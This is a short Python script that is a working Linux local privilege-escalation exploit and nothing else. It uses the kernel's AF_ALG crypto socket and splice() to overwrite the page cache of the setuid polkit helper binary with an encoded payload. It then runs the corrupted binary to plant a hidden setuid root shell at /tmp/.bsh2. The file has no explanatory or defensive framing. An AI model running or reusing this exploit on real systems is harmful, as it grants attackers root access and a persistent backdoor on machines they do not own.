import ctypes, logging, os, platform, socket, stat, struct, sys, zlib, subprocess

logging.basicConfig(format="%(message)s", level=logging.INFO)
SOL_ALG=279; ALG_SET_KEY=1; ALG_SET_IV=2; ALG_SET_OP=3
ALG_SET_AEAD_ASSOCLEN=4; ALG_SET_AEAD_AUTHSIZE=5

if hasattr(os, "splice"):
    def _splice(a,b,c,d=None): os.splice(a,b,c)
else:
    _libc=ctypes.CDLL(None, use_errno=True)
    _libc.splice.argtypes=[ctypes.c_int, ctypes.POINTER(ctypes.c_int64), ctypes.c_int, ctypes.POINTER(ctypes.c_int64), ctypes.c_size_t, ctypes.c_uint]
    _libc.splice.restype=ctypes.c_ssize_t
    def _splice(a,b,c,d=None):
        o=ctypes.c_int64(d) if d else None
        _libc.splice(a, ctypes.byref(o) if o else None, b, None, c, 0)

def _c(f,t,chunk):
    alg=socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    try:
        alg.bind(("aead","authencesn(hmac(sha256),cbc(aes))",0,0))
        key=bytes.fromhex("0800010000000010"+"00"*32)
        alg.setsockopt(SOL_ALG, ALG_SET_KEY, key)
        alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
        u,_=alg.accept()
        try:
            ancdata=[(SOL_ALG, ALG_SET_OP, b"\x00"*4),(SOL_ALG, ALG_SET_IV, b"\x10"+b"\x00"*19),(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08"+b"\x00"*3)]
            u.sendmsg([b"AAAA"+chunk], ancdata, socket.MSG_MORE)
            rfd,wfd=os.pipe()
            try:
                n=t+4
                _splice(f.fileno(), wfd, n, 0)
                _splice(rfd, u.fileno(), n)
                try: u.recv(8+t)
                except OSError: pass
            finally: os.close(rfd);os.close(wfd)
        finally: u.close()
    finally: alg.close()

h="78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
payload=zlib.decompress(bytes.fromhex(h))
target="/usr/lib/polkit-1/polkit-agent-helper-1"

logging.info("Target: %s (%d-byte payload, arch=%s)", target, len(payload), platform.machine())
logging.info("Overwriting page cache...")
with open(target, "rb") as f:
    for i in range(0, len(payload), 4):
        _c(f, i, payload[i:i+4])
        if i%100==0: logging.info("  wrote %d bytes", i+4)
logging.info("  wrote %d bytes total", len(payload))

logging.info("Executing corrupted binary...")
result = subprocess.run([target], input=b"id; whoami; cp /bin/bash /tmp/.bsh2 && chmod 4755 /tmp/.bsh2 && echo ROOT_OK\n", capture_output=True, timeout=15)
print("STDOUT:", result.stdout.decode())
print("STDERR:", result.stderr.decode())